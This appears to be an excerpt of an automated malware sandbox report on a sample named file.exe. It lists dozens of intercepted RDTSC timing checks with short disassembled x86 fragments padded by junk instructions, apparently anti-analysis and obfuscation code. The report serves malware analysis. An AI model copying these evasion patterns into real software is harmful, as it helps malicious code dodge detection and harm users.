Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C3752 second address: 7C3756 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C3756 second address: 7C3774 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnl 00007F8C5451FBC6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C3774 second address: 7C3779 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D1BBA second address: 7D1BDC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F8C5451FBC6h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D1BDC second address: 7D1BE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D1BE2 second address: 7D1C29 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c jmp 00007F8C5451FBC3h 0x00000011 pop esi 0x00000012 pushad 0x00000013 jmp 00007F8C5451FBC5h 0x00000018 pushad 0x00000019 popad 0x0000001a jmp 00007F8C5451FBBEh 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D1C29 second address: 7D1C2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D596C second address: 7D5984 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C5451FBC1h 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D5984 second address: 7D598A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D598A second address: 7D59AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 jno 00007F8C5451FBC6h 0x0000000e jmp 00007F8C5451FBC0h 0x00000013 push edi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D547B second address: 7D547F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D547F second address: 7D5483 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EDF41 second address: 7EDF47 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EDF47 second address: 7EDF4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EE22E second address: 7EE234 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EE234 second address: 7EE24C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F8C5451FBBCh 0x0000000a push eax 0x0000000b push edx 0x0000000c js 00007F8C5451FBB6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F12B4 second address: 7F12B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F4038 second address: 7F4099 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 movzx edx, dx 0x0000000a push dword ptr [ebp+122D1E76h] 0x00000010 mov edx, 6E6B1BFBh 0x00000015 call 00007F8C5451FBB9h 0x0000001a pushad 0x0000001b pushad 0x0000001c pushad 0x0000001d popad 0x0000001e push edx 0x0000001f pop edx 0x00000020 popad 0x00000021 js 00007F8C5451FBC4h 0x00000027 jmp 00007F8C5451FBBEh 0x0000002c popad 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007F8C5451FBC6h 0x00000034 pop edx 0x00000035 mov eax, dword ptr [esp+04h] 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d jp 00007F8C5451FBB6h 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F4099 second address: 7F40AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C54522430h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F40AD second address: 7F40BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8C5451FBBCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F40BD second address: 7F40DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C54522431h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [eax] 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F5A9C second address: 7F5AAC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 jnp 00007F8C5451FBBCh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F76A9 second address: 7F76B3 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F8C54522426h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0D12 second address: 4CC0D18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0D18 second address: 4CC0D1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0D1C second address: 4CC0D53 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jns 00007F8C5451FC06h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F8C5451FBC0h 0x00000017 xor ax, AC38h 0x0000001c jmp 00007F8C5451FBBBh 0x00000021 popfd 0x00000022 mov dx, cx 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0D53 second address: 4CC0DDD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C54522435h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add eax, ecx 0x0000000b pushad 0x0000000c mov eax, 3BDAEBF3h 0x00000011 mov eax, 5CAE544Fh 0x00000016 popad 0x00000017 mov eax, dword ptr [eax+00000860h] 0x0000001d jmp 00007F8C54522432h 0x00000022 test eax, eax 0x00000024 pushad 0x00000025 pushfd 0x00000026 jmp 00007F8C5452242Eh 0x0000002b or esi, 4E9BE828h 0x00000031 jmp 00007F8C5452242Bh 0x00000036 popfd 0x00000037 pushad 0x00000038 jmp 00007F8C54522436h 0x0000003d pushad 0x0000003e popad 0x0000003f popad 0x00000040 popad 0x00000041 je 00007F8CC52D83B4h 0x00000047 push eax 0x00000048 push edx 0x00000049 push eax 0x0000004a push edx 0x0000004b pushad 0x0000004c popad 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0DDD second address: 4CC0DF0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C5451FBBFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0DF0 second address: 4CC0E20 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C54522439h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test byte ptr [eax+04h], 00000005h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F8C5452242Dh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0E20 second address: 4CC0E26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0E26 second address: 4CC0E2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FF91C second address: 6FF920 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE07B4 second address: 4CE07E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C54522431h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F8C54522431h 0x0000000f xchg eax, ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 movsx edx, si 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE07E4 second address: 4CE07E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0865 second address: 4CE087D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8C54522434h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE087D second address: 4CE0881 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0966 second address: 4CD096A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD096A second address: 4CD09BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov bl, 1Bh 0x00000006 popad 0x00000007 xchg eax, ebp 0x00000008 pushad 0x00000009 push ecx 0x0000000a call 00007F8C5451FBC1h 0x0000000f pop eax 0x00000010 pop edi 0x00000011 popad 0x00000012 mov ebp, esp 0x00000014 jmp 00007F8C5451FBC8h 0x00000019 xchg eax, ecx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F8C5451FBC7h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD09BC second address: 4CD09F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F8C5452242Bh 0x00000009 add ecx, 402326EEh 0x0000000f jmp 00007F8C54522439h 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push eax 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD09F5 second address: 4CD09F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD09F9 second address: 4CD09FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD09FD second address: 4CD0A03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0A03 second address: 4CD0A89 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C54522435h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a jmp 00007F8C5452242Eh 0x0000000f xchg eax, esi 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F8C5452242Eh 0x00000017 and eax, 0C34FBF8h 0x0000001d jmp 00007F8C5452242Bh 0x00000022 popfd 0x00000023 call 00007F8C54522438h 0x00000028 mov eax, 1D1343B1h 0x0000002d pop esi 0x0000002e popad 0x0000002f push eax 0x00000030 jmp 00007F8C5452242Ch 0x00000035 xchg eax, esi 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007F8C5452242Ah 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0A89 second address: 4CD0A8F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0A8F second address: 4CD0ADD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F8C5452242Ch 0x00000008 pop eax 0x00000009 pushfd 0x0000000a jmp 00007F8C5452242Bh 0x0000000f adc al, 0000007Eh 0x00000012 jmp 00007F8C54522439h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b lea eax, dword ptr [ebp-04h] 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F8C5452242Dh 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0ADD second address: 4CD0B31 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C5451FBC1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jmp 00007F8C5451FBBEh 0x0000000f push eax 0x00000010 pushad 0x00000011 mov esi, ebx 0x00000013 mov edx, 116711F0h 0x00000018 popad 0x00000019 nop 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d mov ecx, 2B7A4887h 0x00000022 pushfd 0x00000023 jmp 00007F8C5451FBBCh 0x00000028 xor cl, 00000038h 0x0000002b jmp 00007F8C5451FBBBh 0x00000030 popfd 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0B31 second address: 4CD0B49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8C54522434h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0B49 second address: 4CD0B4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0C39 second address: 4CD0C3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0C3F second address: 4CD0C43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0C43 second address: 4CD0266 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop esi 0x00000009 pushad 0x0000000a mov dh, cl 0x0000000c mov bl, 4Eh 0x0000000e popad 0x0000000f leave 0x00000010 pushad 0x00000011 push ecx 0x00000012 push edx 0x00000013 pop esi 0x00000014 pop edx 0x00000015 mov edx, esi 0x00000017 popad 0x00000018 retn 0004h 0x0000001b nop 0x0000001c cmp eax, 00000000h 0x0000001f setne al 0x00000022 xor ebx, ebx 0x00000024 test al, 01h 0x00000026 jne 00007F8C54522427h 0x00000028 xor eax, eax 0x0000002a sub esp, 08h 0x0000002d mov dword ptr [esp], 00000000h 0x00000034 mov dword ptr [esp+04h], 00000000h 0x0000003c call 00007F8C58CC9EFCh 0x00000041 mov edi, edi 0x00000043 jmp 00007F8C54522436h 0x00000048 xchg eax, ebp 0x00000049 push eax 0x0000004a push edx 0x0000004b push eax 0x0000004c push edx 0x0000004d jmp 00007F8C5452242Ah 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0266 second address: 4CD0275 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C5451FBBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0275 second address: 4CD02AA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C54522439h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F8C54522433h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD02AA second address: 4CD02C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C5451FBC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD02C7 second address: 4CD03C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F8C54522437h 0x00000009 and si, 4AFEh 0x0000000e jmp 00007F8C54522439h 0x00000013 popfd 0x00000014 mov ecx, 04D78B47h 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c xchg eax, ebp 0x0000001d pushad 0x0000001e push eax 0x0000001f pushfd 0x00000020 jmp 00007F8C5452242Fh 0x00000025 adc esi, 79615D0Eh 0x0000002b jmp 00007F8C54522439h 0x00000030 popfd 0x00000031 pop esi 0x00000032 mov bx, 6E04h 0x00000036 popad 0x00000037 mov ebp, esp 0x00000039 jmp 00007F8C54522433h 0x0000003e push FFFFFFFEh 0x00000040 jmp 00007F8C54522436h 0x00000045 call 00007F8C54522429h 0x0000004a pushad 0x0000004b mov edx, eax 0x0000004d pushfd 0x0000004e jmp 00007F8C5452242Ah 0x00000053 jmp 00007F8C54522435h 0x00000058 popfd 0x00000059 popad 0x0000005a push eax 0x0000005b jmp 00007F8C54522431h 0x00000060 mov eax, dword ptr [esp+04h] 0x00000064 push eax 0x00000065 push edx 0x00000066 jmp 00007F8C5452242Ch 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD03C1 second address: 4CD0420 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C5451FBBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b pushad 0x0000000c mov esi, edx 0x0000000e pushfd 0x0000000f jmp 00007F8C5451FBBBh 0x00000014 sub cx, CFEEh 0x00000019 jmp 00007F8C5451FBC9h 0x0000001e popfd 0x0000001f popad 0x00000020 mov dword ptr [esp+04h], eax 0x00000024 jmp 00007F8C5451FBC1h 0x00000029 pop eax 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d mov cx, di 0x00000030 push ebx 0x00000031 pop ecx 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0420 second address: 4CD0450 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C54522430h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push 45584905h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F8C54522433h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0450 second address: 4CD0454 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0454 second address: 4CD045A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD045A second address: 4CD0469 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8C5451FBBBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0469 second address: 4CD04C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C54522439h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b add dword ptr [esp], 3050E26Bh 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 mov dx, C61Eh 0x00000019 pushfd 0x0000001a jmp 00007F8C5452242Fh 0x0000001f sub si, F2CEh 0x00000024 jmp 00007F8C54522439h 0x00000029 popfd 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD04C6 second address: 4CD04CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD04CB second address: 4CD053D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov esi, ebx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr fs:[00000000h] 0x0000000f pushad 0x00000010 push edx 0x00000011 movzx esi, bx 0x00000014 pop ebx 0x00000015 pushfd 0x00000016 jmp 00007F8C5452242Ah 0x0000001b jmp 00007F8C54522435h 0x00000020 popfd 0x00000021 popad 0x00000022 nop 0x00000023 jmp 00007F8C5452242Eh 0x00000028 push eax 0x00000029 pushad 0x0000002a mov dh, 92h 0x0000002c pushad 0x0000002d mov ebx, esi 0x0000002f mov dl, al 0x00000031 popad 0x00000032 popad 0x00000033 nop 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 jmp 00007F8C54522438h 0x0000003c mov cx, D681h 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD053D second address: 4CD0585 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, eax 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 sub esp, 18h 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F8C5451FBC7h 0x00000014 add ax, F65Eh 0x00000019 jmp 00007F8C5451FBC9h 0x0000001e popfd 0x0000001f pushad 0x00000020 popad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0585 second address: 4CD05D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C54522437h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007F8C54522436h 0x0000000f push eax 0x00000010 jmp 00007F8C5452242Bh 0x00000015 xchg eax, ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F8C54522430h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD05D8 second address: 4CD05E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C5451FBBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD070B second address: 4CD0745 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C54522432h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xor eax, ebp 0x0000000c jmp 00007F8C54522431h 0x00000011 nop 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F8C5452242Dh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0745 second address: 4CD0755 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8C5451FBBCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0755 second address: 4CD07C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C5452242Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F8C54522439h 0x00000011 nop 0x00000012 jmp 00007F8C5452242Eh 0x00000017 lea eax, dword ptr [ebp-10h] 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007F8C5452242Dh 0x00000023 sbb si, E7D6h 0x00000028 jmp 00007F8C54522431h 0x0000002d popfd 0x0000002e mov eax, 72864747h 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD07C0 second address: 4CD07C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD07C5 second address: 4CD07CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD07CB second address: 4CD083C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr fs:[00000000h], eax 0x0000000d jmp 00007F8C5451FBC5h 0x00000012 mov dword ptr [ebp-18h], esp 0x00000015 pushad 0x00000016 mov di, si 0x00000019 mov bx, cx 0x0000001c popad 0x0000001d mov eax, dword ptr fs:[00000018h] 0x00000023 jmp 00007F8C5451FBC2h 0x00000028 mov ecx, dword ptr [eax+00000FDCh] 0x0000002e pushad 0x0000002f push eax 0x00000030 push edx 0x00000031 pushfd 0x00000032 jmp 00007F8C5451FBBCh 0x00000037 jmp 00007F8C5451FBC5h 0x0000003c popfd 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD083C second address: 4CD0874 instructions: 0x00000000 rdtsc 0x00000002 mov edx, esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 movzx esi, bx 0x00000009 popad 0x0000000a test ecx, ecx 0x0000000c jmp 00007F8C5452242Fh 0x00000011 jns 00007F8C54522478h 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F8C54522435h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0874 second address: 4CD087A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD087A second address: 4CD087E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC019B second address: 4CC019F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
